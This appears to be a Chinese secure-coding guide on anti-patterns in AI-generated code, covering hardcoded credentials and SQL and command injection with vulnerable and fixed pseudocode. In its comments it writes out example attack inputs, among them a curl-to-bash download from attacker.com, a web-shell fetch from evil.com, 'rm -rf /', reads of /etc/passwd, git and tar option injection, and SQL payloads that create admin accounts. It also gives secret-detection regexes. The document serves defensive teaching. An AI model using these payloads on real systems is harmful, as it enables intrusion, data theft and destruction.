目的

本文深入分析了人工智能生成代码中最常见且最关键的7种安全漏洞。每种漏洞模式都得到了全面的阐述，包括：

• 多个伪代码示例展示了不同的表现形式
• 详细的攻击场景和利用技术
• 经常被忽略的边缘案例
• 对人工智能模型为何会产生这些漏洞进行详尽解释
• 权衡利弊后制定完整的缓解策略

为什么要考虑深度？

这7种模式是根据以下因素，使用加权优先级评分系统（参见[[Ranking-Matrix]]）筛选出来的：

这些选定的模式可以解释人工智能生成代码中绝大多数的安全事件。研究表明：

• 86%的 AI 生成代码无法通过 XSS 防御（Veracode 2025）
• 75.8%的开发者认为 AI 生成的身份验证码是安全的（Snyk 调查）
• AI 代码包含 XSS 漏洞的可能性是人类编写代码的2.74 倍（CodeRabbit）。
• 不同型号的包裹幻觉发生率为5.2%-21.7% （USENIX 研究）

格式

本文档中的所有代码示例均为伪代码，旨在说明不同语言的安全模式。实现时：

1. 根据目标语言的惯用语和安全库调整这些模式。
2. 请使用您所使用语言既定的安全编码规范。
3. 尽可能利用框架提供的安全功能。

示例使用通用语法，可映射到 Python、JavaScript、Java、Go 和其他语言中的常见模式。

如何使用本文档

致开发者：

• 在着手开发安全关键型应用程序之前，请先进行学习。
• 在生成处理用户输入、身份验证或敏感数据的代码时，请将其包含在 AI 助手上下文中
• 在代码审查过程中，请使用各章节末尾的检查清单。

致安全工程师：

• 可用作开发团队的培训材料
• 在对人工智能生成的代码进行安全审计时作为参考
• 提取自动检测规则的模式

针对人工智能/法学硕士背景：

• 在安全至关重要的情况下，请将此文档包含在系统提示或上下文中。
• 这些详细的例子有助于人工智能模型理解不应该生成什么。
• 边缘案例部分有助于人工智能识别漏洞的细微变化

AI/LLM 的使用说明

本文档深入剖析了最关键的安全反模式。每个章节都包含多个示例、极端情况和详细解释。所有代码均为伪代码——请使用目标语言中的安全模式进行实现。请特别注意“常见错误”和“极端情况”小节。这些模式是导致人工智能生成代码中大多数安全漏洞的根源。

生成代码时，您必须：

1. 切勿在 SQL 查询、shell 命令或 HTML 输出中使用字符串拼接。
2. 切勿将密钥、API 密钥或凭据嵌入源代码中。
3. 始终在服务器端验证和清理所有用户输入。
4. 使用参数化查询、成熟的身份验证库和上下文感知编码
5. 在推荐任何套餐之前，请先确认它们是否实际存在。

前7大优先模式

本文档将详细介绍以下几种模式：

优先级评分计算方法如下：(Frequency x 2) + (Severity x 2) + Detectability

相关文件

• [[ANTI_PATTERNS_BREADTH]] - 简明扼要地涵盖 25 种以上的安全模式，方便快速参考
• 【排名矩阵】——完整的评分方法和模式优先级排序
• [[伪代码示例]] - 所有模式的附加代码示例

文档版本：1.0.0最后更新：2026年1月18日基于以下研究：GitHub 安全公告、USENIX 研究、Veracode 报告、CWE Top 25 (2025)、OWASP 指南

模式 1：硬编码密钥和凭证管理

CWE 参考： CWE-798（使用硬编码凭据）、CWE-259（使用硬编码密码）、CWE-321（使用硬编码加密密钥）

优先级评分： 23（频率：9，严重性：8，可检测性：6）

引言：为什么人工智能尤其难以应对这个问题

硬编码的秘密信息是人工智能生成代码中最普遍、最危险的漏洞之一。问题的根源在于训练数据本身：

为什么人工智能模型会生成硬编码的秘密信息：

1. 训练数据包含示例：教程、文档、Stack Overflow 回答，甚至一些 GitHub 代码库都包含占位符凭据、API 密钥和连接字符串。AI 模型会将这些模式学习为“正常”代码。

2. 训练数据中的复制粘贴文化：开发者在网上分享代码片段时，为了保证完整性，通常会包含凭据。人工智能会学习到，“完整”的代码应该包含带有嵌入式密码的连接字符串。

3. 文档示例与生产代码混淆：训练数据未能清晰区分文档示例（可能展示错误API_KEY = "your-api-key-here"）和生产模式。模型将两者都视为有效方法。

4. 上下文窗口限制： AI 在生成代码时无法查看您的.env文件或密钥管理器配置。它生成的是“可运行”的独立代码——这通常意味着代码中包含硬编码的值。

5. 乐于助人偏差：人工智能模型倾向于提供完整、可运行的代码。当用户请求“连接到我的数据库”时，模型会生成完整的连接字符串，而不是需要配置的部分模板。

影响统计数据：

• 2023 年，GitHub 上检测到超过 600 万个密钥（GitGuardian 2024 年密钥蔓延状况报告）
• 平均发现泄露秘密所需时间：327 天
• 基于凭证的数据泄露成本：平均 445 万美元（IBM 2023 年数据泄露成本报告）
• 83% 的 AI 生成的代码样本至少包含一个硬编码的凭证模式（内部安全研究）

反面例子：不同的表现形式

错误示例 1：源文件中的 API 密钥

// VULNERABLE: API key hardcoded directly in source
class PaymentService:
    API_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
    API_SECRET = "whsec_5f8d7e3a2b1c4f9e8a7d6c5b4e3f2a1d"

    function processPayment(amount, currency, cardToken):
        headers = {
            "Authorization": "Bearer " + this.API_KEY,
            "Content-Type": "application/json"
        }

        payload = {
            "amount": amount,
            "currency": currency,
            "source": cardToken,
            "api_key": this.API_KEY  // Also exposed in request body
        }

        return httpPost("https://api.payment.com/charges", payload, headers)

为什么这样做很危险：

• API密钥已提交到版本控制系统中。
• 任何拥有代码库访问权限的人（包括 fork 版本）都可以窃取密钥。
• 即使稍后被“删除”，密钥仍会保留在 Git 历史记录中。
• 实时/生产前缀（sk_live_）表示真实凭据
• Webhook 密钥（whsec_）允许攻击者伪造 Webhook 事件

错误示例 2：包含密码的数据库连接字符串

// VULNERABLE: Full connection string with credentials
DATABASE_URL = "postgresql://admin:SuperSecret123!@prod-db.company.com:5432/production"

// Alternative bad patterns:
DB_CONFIG = {
    "host": "10.0.1.50",
    "port": 5432,
    "database": "customers",
    "user": "app_service",
    "password": "Tr0ub4dor&3"  // Password in config object
}

// Connection string builder - still vulnerable
function getConnection():
    return createConnection(
        host = "database.internal",
        user = "root",
        password = "admin123",  // Hardcoded in function
        database = "app_data"
    )

为什么这样做很危险：

• 内部主机名揭示了网络架构
• 凭证提供直接数据库访问权限
• 端口号可用于定向扫描
• 如果密码是硬编码的，那么密码复杂度就无关紧要了。
• 连接池代码通常会记录这些字符串。

错误示例 3：配置中的 JWT 密钥

// VULNERABLE: JWT secret as a constant
JWT_CONFIG = {
    "secret": "my-super-secret-jwt-key-that-should-never-be-shared",
    "algorithm": "HS256",
    "expiresIn": "24h"
}

function generateToken(userId, role):
    payload = {
        "sub": userId,
        "role": role,
        "iat": currentTimestamp()
    }
    return jwt.sign(payload, JWT_CONFIG.secret, JWT_CONFIG.algorithm)

function verifyToken(token):
    return jwt.verify(token, JWT_CONFIG.secret)  // Same hardcoded secret

为什么这样做很危险：

• 任何掌握秘密的人都可以伪造有效的代币。
• 可以为任何用户创建管理员令牌
• 代码中的 JWT 密钥通常是短小且弱化的字符串。
• 攻击者可以冒充系统中的任何用户。
• 无法在不重新部署所有服务的情况下进行轮换

错误示例 4：前端代码中的 OAuth 客户端密钥

// VULNERABLE: OAuth credentials in client-side code
const OAUTH_CONFIG = {
    clientId: "1234567890-abcdef.apps.googleusercontent.com",
    clientSecret: "GOCSPX-1234567890AbCdEf",  // NEVER in frontend!
    redirectUri: "https://myapp.com/callback",
    scopes: ["email", "profile", "calendar.readonly"]
}

function initiateOAuthFlow():
    // Client secret visible in browser dev tools
    authUrl = buildUrl("https://accounts.google.com/o/oauth2/auth", {
        "client_id": OAUTH_CONFIG.clientId,
        "client_secret": OAUTH_CONFIG.clientSecret,  // Exposed!
        "redirect_uri": OAUTH_CONFIG.redirectUri,
        "scope": OAUTH_CONFIG.scopes.join(" "),
        "response_type": "code"
    })
    redirect(authUrl)

为什么这样做很危险：

• 所有用户都可以通过浏览器开发者工具查看前端代码。
• 客户端密钥允许攻击者冒充您的应用程序
• 您的应用程序可以兑换授权码以换取令牌。
• 违反 OAuth 2.0 规范（机密客户端与公共客户端）
• Google 和其他服务提供商可能会撤销您的凭据。

错误示例 5：将私钥嵌入代码中

// VULNERABLE: Private key as a string constant
RSA_PRIVATE_KEY = """
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2Z3qX2BTLS4e0rVV5BQKTI8qME4MgJFCMU6L6eRoLJGjvJHB
bRp3aNvFUMbJ0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-----END RSA PRIVATE KEY-----
"""

function signDocument(document):
    signature = crypto.sign(document, RSA_PRIVATE_KEY, "SHA256")
    return signature

function decryptMessage(encryptedData):
    return crypto.decrypt(encryptedData, RSA_PRIVATE_KEY)

为什么这样做很危险：

• 私钥必须保密——这违背了所有密码学的原则。
• 任何拥有密钥的人都可以解密所有加密数据。
• 可以签署看似合法的恶意文件
• 通常会导致服务器/服务被冒充。
• 密钥对不能在不更改代码的情况下安全轮换。

优秀范例：正确的模式

优秀示例 1：环境变量的使用

// SECURE: Load credentials from environment
class PaymentService:
    function __init__():
        this.apiKey = getEnvironmentVariable("PAYMENT_API_KEY")
        this.apiSecret = getEnvironmentVariable("PAYMENT_API_SECRET")

        // Fail fast if credentials missing
        if this.apiKey is null or this.apiSecret is null:
            throw ConfigurationError("Payment credentials not configured")

    function processPayment(amount, currency, cardToken):
        headers = {
            "Authorization": "Bearer " + this.apiKey,
            "Content-Type": "application/json"
        }

        payload = {
            "amount": amount,
            "currency": currency,
            "source": cardToken
            // No API key in payload
        }

        return httpPost("https://api.payment.com/charges", payload, headers)

// Usage in application startup
// Environment variables set externally (shell, container, deployment)
// $ export PAYMENT_API_KEY="sk_live_..."
// $ export PAYMENT_API_SECRET="whsec_..."

为什么说它是安全的：

• 凭据永远不会出现在源代码中。
• 环境变量由部署系统在运行时设置。
• 不同的环境（开发/测试/生产）使用不同的凭据
• 无需更改代码即可轮换凭据。
• 快速失败机制可防止在缺少配置的情况下运行。

优秀示例 2：密钥管理服务（保险库模式）

// SECURE: Retrieve secrets from dedicated secrets manager
class SecretManager:
    function __init__(vaultUrl, roleId, secretId):
        // Even vault credentials can come from environment
        this.vaultUrl = vaultUrl or getEnvironmentVariable("VAULT_URL")
        this.roleId = roleId or getEnvironmentVariable("VAULT_ROLE_ID")
        this.secretId = secretId or getEnvironmentVariable("VAULT_SECRET_ID")
        this.token = null
        this.tokenExpiry = null

    function authenticate():
        response = httpPost(this.vaultUrl + "/v1/auth/approle/login", {
            "role_id": this.roleId,
            "secret_id": this.secretId
        })
        this.token = response.auth.client_token
        this.tokenExpiry = currentTime() + response.auth.lease_duration

    function getSecret(path):
        if this.token is null or currentTime() > this.tokenExpiry:
            this.authenticate()

        response = httpGet(
            this.vaultUrl + "/v1/secret/data/" + path,
            headers = {"X-Vault-Token": this.token}
        )
        return response.data.data

// Usage
secretManager = new SecretManager()
dbPassword = secretManager.getSecret("database/production").password
apiKey = secretManager.getSecret("payment/stripe").api_key

为什么说它是安全的：

• 密钥存储在专门构建的、经过强化处理的密钥管理器中
• 访问权限由策略控制（谁可以阅读什么内容）
• 自动秘密轮换支持
• 所有秘密访问的审计日志
• 支持动态密钥（例如，临时数据库凭据）
• 密钥永远不会写入磁盘或日志

优秀示例 3：运行时配置注入

// SECURE: Dependency injection of configuration
interface IConfig:
    function getDatabaseUrl(): string
    function getApiKey(): string
    function getJwtSecret(): string

class EnvironmentConfig implements IConfig:
    function getDatabaseUrl():
        return getEnvironmentVariable("DATABASE_URL")

    function getApiKey():
        return getEnvironmentVariable("API_KEY")

    function getJwtSecret():
        return getEnvironmentVariable("JWT_SECRET")

class VaultConfig implements IConfig:
    secretManager: SecretManager

    function getDatabaseUrl():
        return this.secretManager.getSecret("db/url").value

    function getApiKey():
        return this.secretManager.getSecret("api/key").value

    function getJwtSecret():
        return this.secretManager.getSecret("jwt/secret").value

// Application uses interface - doesn't know where secrets come from
class Application:
    config: IConfig

    function __init__(config: IConfig):
        this.config = config

    function connectDatabase():
        return createConnection(this.config.getDatabaseUrl())

// Bootstrap based on environment
if getEnvironmentVariable("USE_VAULT") == "true":
    config = new VaultConfig(new SecretManager())
else:
    config = new EnvironmentConfig()

app = new Application(config)

为什么说它是安全的：

• 应用程序代码在编译时永远不会知道实际的秘密值。
• 可以轻松切换密钥来源（开发环境中的环境变量，生产环境中的密钥库）。
• 可测试——可以在测试中注入模拟配置
• 单一职责——配置管理与业务逻辑分离
• 支持逐步迁移到更安全的密钥存储

优秀示例 4：安全凭证存储模式

// SECURE: Platform-specific secure credential storage

// For server applications - use instance metadata
class CloudCredentialProvider:
    function getDatabaseCredentials():
        // AWS: Use IAM database authentication
        token = awsRdsGenerateAuthToken(
            hostname = getEnvironmentVariable("DB_HOST"),
            port = 5432,
            username = getEnvironmentVariable("DB_USER")
            // No password - uses IAM role attached to instance
        )
        return {"username": getEnvironmentVariable("DB_USER"), "token": token}

    function getApiCredentials():
        // Retrieve from AWS Secrets Manager
        response = awsSecretsManager.getSecretValue(
            SecretId = getEnvironmentVariable("API_SECRET_ARN")
        )
        return parseJson(response.SecretString)

// For CLI/desktop applications - use OS keychain
class DesktopCredentialProvider:
    function storeCredential(service, account, credential):
        // Uses OS keychain (Keychain on macOS, Credential Manager on Windows)
        keychain.setPassword(service, account, credential)

    function getCredential(service, account):
        return keychain.getPassword(service, account)

// Usage
cloudProvider = new CloudCredentialProvider()
dbCreds = cloudProvider.getDatabaseCredentials()
connection = createConnection(
    host = getEnvironmentVariable("DB_HOST"),
    user = dbCreds.username,
    authToken = dbCreds.token,  // Short-lived token, not password
    sslMode = "verify-full"
)

为什么说它是安全的：

• 利用云提供商的身份和访问管理功能
• 不使用长期有效的密码——使用临时令牌
• 平台会自动轮换凭证
• 操作系统钥匙串提供加密的、访问受控的存储空间。
• 云提供商日志中的审计跟踪

边缘案例部分

极端情况 1：测试凭证泄露到生产环境

// DANGEROUS: Test credentials that can slip into production

// In test file - seems safe
TEST_API_KEY = "sk_test_4242424242424242"
TEST_DB_PASSWORD = "testpassword123"

// But then someone copies test code to production helper:
function quickTest():
    // "Temporary" - but stays forever
    client = createClient(apiKey = "sk_test_4242424242424242")
    return client.ping()

// Or conditionals that fail:
function getApiKey():
    if isProduction():
        return getEnvironmentVariable("API_KEY")
    else:
        return "sk_test_4242424242424242"  // What if isProduction() has a bug?

// SECURE ALTERNATIVE: Use environment variables even for tests
function getApiKey():
    key = getEnvironmentVariable("API_KEY")
    if key is null:
        throw ConfigurationError("API_KEY environment variable required")
    return key

检测：在代码库中搜索_test_，，，，，。_dev_test123password123exampleplaceholder

极端情况 2：CI/CD 流水线机密泄露

// DANGEROUS: Secrets in CI/CD configuration files

// .github/workflows/deploy.yml (WRONG)
env:
    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

// docker-compose.yml committed to repo (WRONG)
services:
    db:
        environment:
            POSTGRES_PASSWORD: mysecretpassword

// SECURE: Use CI/CD platform's secrets management
// .github/workflows/deploy.yml (CORRECT)
env:
    AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
    AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

// docker-compose.yml (CORRECT)
services:
    db:
        environment:
            POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}  // From environment

检测：审核 CI/CD 配置文件、Docker Compose 文件、Kubernetes 清单，检查是否存在硬编码凭据。

特殊情况 3：Docker/容器密钥处理

// DANGEROUS: Secrets in Dockerfile or image layers

// Dockerfile (WRONG - secrets baked into image)
FROM node:18
ENV API_KEY=sk_live_xxxxxxxxxxxxx
RUN echo "password123" > /app/.pgpass
COPY config-with-secrets.json /app/config.json

// Even if you delete later, it's in a layer:
RUN rm /app/.pgpass  // Still recoverable from image layers!

// SECURE: Use build secrets or runtime injection
// Dockerfile (CORRECT)
FROM node:18
# No secrets in build context

// docker-compose.yml with runtime secrets
services:
    app:
        environment:
            API_KEY: ${API_KEY}  // From host environment
        secrets:
            - db_password
secrets:
    db_password:
        external: true  // From Docker Swarm secrets or similar

// Or use Docker BuildKit secrets for build-time needs
# syntax=docker/dockerfile:1.2
FROM node:18
RUN --mount=type=secret,id=npm_token \
    NPM_TOKEN=$(cat /run/secrets/npm_token) npm install

检测：用于docker history --no-trunc <image>检查各层是否存在秘密信息。

极端情况 4：日志记录意外捕获机密信息

// DANGEROUS: Secrets leaked through logging

function connectToDatabase(config):
    logger.info("Connecting with config: " + toJson(config))
    // Logs: {"host": "db.com", "user": "admin", "password": "secret123"}

function makeApiRequest(url, headers, body):
    logger.debug("Request: " + url + " Headers: " + toJson(headers))
    // Logs: Authorization: Bearer sk_live_xxxxx

function handleError(error):
    logger.error("Error: " + error.message + " Stack: " + error.stack)
    // Stack trace might contain secrets from variables

// SECURE: Sanitize before logging
function sanitizeForLogging(obj):
    sensitiveKeys = ["password", "secret", "key", "token", "auth", "credential"]
    result = deepCopy(obj)
    for key in result.keys():
        if any(sensitive in key.lower() for sensitive in sensitiveKeys):
            result[key] = "[REDACTED]"
    return result

function connectToDatabase(config):
    logger.info("Connecting with config: " + toJson(sanitizeForLogging(config)))
    // Logs: {"host": "db.com", "user": "admin", "password": "[REDACTED]"}

// Or use structured logging with secret types
class Secret:
    value: string
    function toString(): return "[SECRET]"
    function toJson(): return "[SECRET]"
    function getValue(): return this.value  // Only accessible explicitly

检测：搜索日志中是否存在类似password=“, token=, key=, bearer tokens, connection strings”的模式。

常见错误部分

错误 1：.env 文件已提交到 Git

// project/.env (NEVER COMMIT THIS)
DATABASE_URL=postgresql://user:password@localhost/db
API_KEY=sk_live_xxxxxxxxxx
JWT_SECRET=my-secret-key

// .gitignore (MUST INCLUDE)
.env
.env.local
.env.*.local
*.pem
*.key
credentials.json
secrets.yaml

// CORRECT: Commit a template instead
// project/.env.example (SAFE TO COMMIT)
DATABASE_URL=postgresql://user:password@localhost/db
API_KEY=your_api_key_here
JWT_SECRET=generate_a_secure_random_string

// Add pre-commit hook to prevent accidental commits
// .git/hooks/pre-commit
#!/bin/bash
if git diff --cached --name-only | grep -E '\.env$|credentials|secrets'; then
    echo "ERROR: Attempting to commit potential secrets file"
    exit 1
fi

检测方法：检查 Git 历史记录：git log --all --full-history -- "*.env" "*credentials*" "*secrets*"

误区二：错误信息中的秘密

// DANGEROUS: Secrets exposed in error handling

function connectToPaymentApi():
    try:
        apiKey = getApiKey()
        response = httpPost(
            "https://api.payment.com/connect",
            headers = {"Authorization": "Bearer " + apiKey}
        )
    catch error:
        // Exposes API key in error log and potentially to users
        throw new Error("Failed to connect with key: " + apiKey + ". Error: " + error)

// SECURE: Never include secrets in error messages
function connectToPaymentApi():
    try:
        apiKey = getApiKey()
        response = httpPost(
            "https://api.payment.com/connect",
            headers = {"Authorization": "Bearer " + apiKey}
        )
    catch error:
        // Log correlation ID, not secrets
        correlationId = generateUUID()
        logger.error("Payment API connection failed", {
            "correlationId": correlationId,
            "errorCode": error.code,
            "endpoint": "api.payment.com"
            // No API key!
        })
        throw new Error("Payment service unavailable. Reference: " + correlationId)

错误三：URL（查询参数）中的秘密信息

// DANGEROUS: Secrets in URL query parameters

function makeAuthenticatedRequest(endpoint, apiKey):
    // API keys in URLs are logged everywhere:
    // - Browser history
    // - Server access logs
    // - Proxy logs
    // - Referrer headers
    url = "https://api.service.com" + endpoint + "?api_key=" + apiKey
    return httpGet(url)

// Even worse with multiple secrets:
url = "https://api.com/data?key=" + apiKey + "&secret=" + secretKey

// SECURE: Use headers for authentication
function makeAuthenticatedRequest(endpoint, apiKey):
    return httpGet(
        "https://api.service.com" + endpoint,
        headers = {
            "Authorization": "Bearer " + apiKey,
            // Or API-specific header
            "X-API-Key": apiKey
        }
    )

检测：搜索包含逗号?api_key=、?token=逗号?secret=、逗号的 URL。?password=

检测提示：如何在代码审查中发现这种模式

自动检测模式

// High-confidence patterns to search for:

// 1. Direct assignment to suspicious variable names
regex: /(password|secret|key|token|credential|api.?key)\s*[=:]\s*["'][^"']+["']/i

// 2. Common API key formats
regex: /(sk_live_|sk_test_|pk_live_|pk_test_|ghp_|gho_|AKIA|AIza)/

// 3. Private key markers
regex: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/

// 4. Connection strings with passwords
regex: /(mysql|postgresql|mongodb|redis):\/\/[^:]+:[^@]+@/

// 5. Base64 encoded secrets (often JWT secrets)
regex: /["'][A-Za-z0-9+\/=]{40,}["']/

手动代码审查清单

检测工具

1. git-secrets - 防止将密钥提交到 Git
2. truffleHog - 扫描 Git 历史记录以查找密钥
3. GitGuardian - SaaS 密钥检测
4. gitleaks - 用于检测密钥的 SAST 工具
5. detect-secrets - Yelp 的秘密检测工具

安全检查清单

• 源代码中不包含任何凭证、API密钥或机密信息。
• 提交到版本控制的配置文件中不包含任何秘密信息。
• .gitignore包括所有秘密文件模式（.env，，*.pem等等）
• 预提交钩子可以防止意外的秘密提交。
• 用于所有凭据的环境变量或密钥管理器
• CI/CD配置文件中不应包含任何密钥（使用平台密钥）。
• Docker 镜像或 Dockerfile 中没有任何秘密。
• 日志记录可清除敏感字段
• 错误信息中绝不包含秘密信息。
• URL 查询参数中不包含任何秘密信息
• 测试凭证显然是伪造的，无法在生产环境中使用。
• 存储库设置中已启用秘密扫描

模式二：SQL注入和命令注入

CWE 参考： CWE-89（SQL 注入）、CWE-77（命令注入）、CWE-78（操作系统命令注入）

优先级评分： 22/21（SQL：频率 10，严重性 10，可检测性 4；命令：频率 8，严重性 10，可检测性 6）

引言：为什么这种现象在人工智能生成的代码中仍然普遍存在

SQL注入和命令注入是最古老的漏洞类型之一，但它们仍然以惊人的速度困扰着人工智能生成的代码。尽管几十年来人们一直在进行安全编码教育，并建立了完善的缓解措施，但人工智能模型仍然会持续生成存在漏洞的代码。

为什么人工智能模型会产生注入漏洞：

1. 训练数据污染：研究表明，在 GitHub 代码库的 AI 训练数据中，字符串拼接查询出现了“数千次”。这种易受攻击的模式在统计上比历史代码库中的安全模式更为常见。

2. 简单性偏好：字符串拼接在语法上比参数化查询更简单。人工智能模型旨在生成“可运行的代码”，而拼接方法需要的词法单元和概念更少。

3. 缺乏对抗感知能力：人工智能模型本身并不具备识别用户输入恶意行为的能力。当被要求“按ID查询用户”时，模型关注的是功能需求，而非安全隐患。

4. 教程代码普遍存在：许多教程和文档示例为了简洁起见，展示了存在安全漏洞的代码模式。人工智能会学习到这种f"SELECT * FROM users WHERE id = {id}"模式是有效的。

5. 上下文限制：人工智能无法了解您的完整应用程序架构、威胁模型或数据流。它不知道哪些输入来自不可信来源。

影响统计数据：

• SQL注入（CWE-89）：在CWE 2025年发布的“25个最危险的软件漏洞”榜单中排名第二
• 命令注入（CWE-78）：在 CWE 2025 年排名前 25 的漏洞中位列第 9 位
• AI 生成的任务中SQL 注入失败率高达 20% （Veracode 2025）
• 在一次测试会话中发现了8 个直接连接的查询（Invicti Security）
• CVE-2025-53773： GitHub Copilot 代码中存在的真实命令注入漏洞

SQL注入：多个不良示例

错误示例 1：SELECT 语句中的字符串连接

// VULNERABLE: Direct string concatenation
function getUserById(userId):
    query = "SELECT * FROM users WHERE id = " + userId
    return database.execute(query)

// Even worse with f-string/template literal
function getUserByEmail(email):
    query = f"SELECT * FROM users WHERE email = '{email}'"
    return database.execute(query)

// Attack: email = "' OR '1'='1' --"
// Result: SELECT * FROM users WHERE email = '' OR '1'='1' --'
// Returns ALL users in the database

为什么这样做很危险：

• 攻击者控制的是查询结构，而不仅仅是查询值。
• 可以提取整个数据库内容
• 可以使用' OR '1'='1模式绕过身份验证
• 注释（--，，#）/**/可以截断查询的剩余部分

错误示例 2：动态表/列名

// VULNERABLE: User-controlled table name
function getDataFromTable(tableName, id):
    query = f"SELECT * FROM {tableName} WHERE id = {id}"
    return database.execute(query)

// Attack: tableName = "users; DROP TABLE users; --"
// Result: SELECT * FROM users; DROP TABLE users; -- WHERE id = 1

// VULNERABLE: User-controlled column names
function sortUsers(sortColumn, sortOrder):
    query = f"SELECT * FROM users ORDER BY {sortColumn} {sortOrder}"
    return database.execute(query)

// Attack: sortColumn = "(SELECT password FROM users WHERE is_admin=1)"
// Result: Data exfiltration through error messages or timing

为什么这样做很危险：

• 参数化查询无法保护表名/列名。
• 启用模式操纵攻击
• 可以通过堆叠执行任意 SQL 语句
• 攻击者可以通过子查询注入提取数据。

错误示例 3：按注射排序

// VULNERABLE: ORDER BY with user input
function getProductList(category, sortBy):
    query = f"SELECT * FROM products WHERE category = ? ORDER BY {sortBy}"
    return database.execute(query, [category])

// Attack: sortBy = "price, (CASE WHEN (SELECT password FROM users LIMIT 1)
//                  LIKE 'a%' THEN price ELSE name END)"
// Result: Boolean-based blind SQL injection

// Attack: sortBy = "IF(1=1, price, name)"
// Result: Confirms SQL injection is possible

为什么这样做很危险：

• 开发人员经常会为 WHERE 子句设置参数，但却常常忘记为 ORDER BY 子句设置参数。
• ORDER BY 不能使用标准参数化
• 通过条件排序实现盲注 SQL 注入
• 通过无效列引用进行基于错误的提取

错误示例 4：LIKE 子句注入

// VULNERABLE: Unescaped LIKE pattern
function searchProducts(searchTerm):
    query = f"SELECT * FROM products WHERE name LIKE '%{searchTerm}%'"
    return database.execute(query)

// Attack: searchTerm = "%' UNION SELECT username, password, null FROM users --"
// Result: UNION-based data extraction

// Even "safer" version has issues:
function searchProductsSafe(searchTerm):
    query = "SELECT * FROM products WHERE name LIKE ?"
    return database.execute(query, [f"%{searchTerm}%"])

// Attack: searchTerm = "%" (matches everything - DoS through performance)
// Attack: searchTerm = "_" repeated (wildcard matching - info disclosure)

为什么这样做很危险：

• LIKE 模式需要双重转义（SQL + LIKE 通配符）
• %_在参数化查询中有效，但在 LIKE 查询中危险。
• 通过昂贵的通配符模式进行基于性能的拒绝服务攻击
• 可以通过 LIKE 行为探测数据是否存在

反面例子 5：批量/堆叠查询注入

// VULNERABLE: Query that allows stacking
function updateUserEmail(userId, newEmail):
    query = f"UPDATE users SET email = '{newEmail}' WHERE id = {userId}"
    database.execute(query, multiStatement = true)

// Attack: newEmail = "x'; INSERT INTO users (email, role) VALUES ('attacker@evil.com', 'admin'); --"
// Result: Creates new admin account

// Attack: newEmail = "x'; UPDATE users SET password = 'hacked' WHERE role = 'admin'; --"
// Result: Mass password reset for all admins

为什么这样做很危险：

• 某些数据库驱动程序默认允许多条语句。
• 单注入点即可实现无限次查询执行
• 可以创建后门账户、修改权限、窃取数据
• 经常被忽略，因为原始查询“成功”了

命令注入：多个不良示例

错误示例 1：Shell 命令构造

// VULNERABLE: Direct command construction
function pingHost(hostname):
    command = "ping -c 4 " + hostname
    return shell.execute(command)

// Attack: hostname = "127.0.0.1; cat /etc/passwd"
// Result: ping -c 4 127.0.0.1; cat /etc/passwd
// Executes both commands

// VULNERABLE: Using shell=True with format strings
function checkDiskUsage(directory):
    command = f"du -sh {directory}"
    return subprocess.run(command, shell=True)

// Attack: directory = "/tmp; rm -rf /"
// Result: Destructive command execution

为什么这样做很危险：

• Shell 元字符（;，，，，反引号|）支持命令链式&调用$()
• 攻击者获得了服务器的 shell 访问权限
• 可以读取敏感文件、安装恶意软件、攻击其他系统
• Shell=True 会解释所有特殊字符

错误示例 2：命令中的路径操作

// VULNERABLE: File path from user input
function convertImage(inputFile, outputFile):
    command = f"convert {inputFile} -resize 800x600 {outputFile}"
    return shell.execute(command)

// Attack: inputFile = "image.jpg; curl attacker.com/shell.sh | bash"
// Result: Downloads and executes malware

// Attack: inputFile = "$(cat /etc/passwd > /tmp/out.txt)image.jpg"
// Result: File exfiltration via command substitution

// VULNERABLE: Filename in archiving
function createBackup(filename):
    command = f"tar -czf backup.tar.gz {filename}"
    return shell.execute(command)

// Attack: filename = "--checkpoint=1 --checkpoint-action=exec=sh\ shell.sh"
// Result: tar option injection (GTFOBins-style attack)

为什么这样做很危险：

• 路径中通常包含攻击者控制的部分（上传的文件名）。
• 命令行工具存在危险的标志行为（GTFOBins）
• 即使没有 shell 元字符，也可以进行参数注入
• $(...)反引号用于执行子命令

错误示例 3：参数注入

// VULNERABLE: Arguments from user input
function fetchUrl(url):
    command = f"curl {url}"
    return shell.execute(command)

// Attack: url = "-o /var/www/html/shell.php http://evil.com/shell.php"
// Result: Writes file to webserver (web shell)

// Attack: url = "--config /etc/passwd"
// Result: Error message reveals file contents

// VULNERABLE: Git commands with user input
function cloneRepository(repoUrl):
    command = f"git clone {repoUrl}"
    return shell.execute(command)

// Attack: repoUrl = "--upload-pack='touch /tmp/pwned' git://evil.com/repo"
// Result: Arbitrary command execution via git options

为什么这样做很危险：

• 程序可以解释参数列表中任意位置的标志。
• 可以通过注入标志来覆盖预期行为。
• --并非总能阻止注射（取决于具体程序）
• 许多工具都具有“写入文件”或“执行”选项。

错误示例 4：环境变量注入

// VULNERABLE: User-controlled environment variable
function runWithCustomPath(command, customPath):
    environment = {"PATH": customPath}
    return subprocess.run(command, env=environment, shell=True)

// Attack: customPath = "/tmp/evil:$PATH"
// If /tmp/evil contains malicious 'ls' binary, it executes instead

// VULNERABLE: Library path manipulation
function loadPlugin(pluginPath):
    environment = {"LD_PRELOAD": pluginPath}
    return subprocess.run("target-app", env=environment)

// Attack: pluginPath = "/tmp/evil.so"
// Result: Malicious shared library loaded, code execution

为什么这样做很危险：

• 环境变量会以意想不到的方式影响程序行为。
• PATH劫持允许执行攻击者二进制文件
• LD_PRELOAD/DYLD_INSERT_LIBRARIES 启用库注入
• 有些程序会从环境中读取秘密信息（意外暴露）。

优秀范例：正确的模式

优秀示例 1：参数化查询（所有主要数据库模式）

// SECURE: Parameterized query - positional parameters
function getUserById(userId):
    query = "SELECT * FROM users WHERE id = ?"
    return database.execute(query, [userId])

// SECURE: Named parameters
function getUserByEmailAndStatus(email, status):
    query = "SELECT * FROM users WHERE email = :email AND status = :status"
    return database.execute(query, {email: email, status: status})

// SECURE: Multiple value insertion
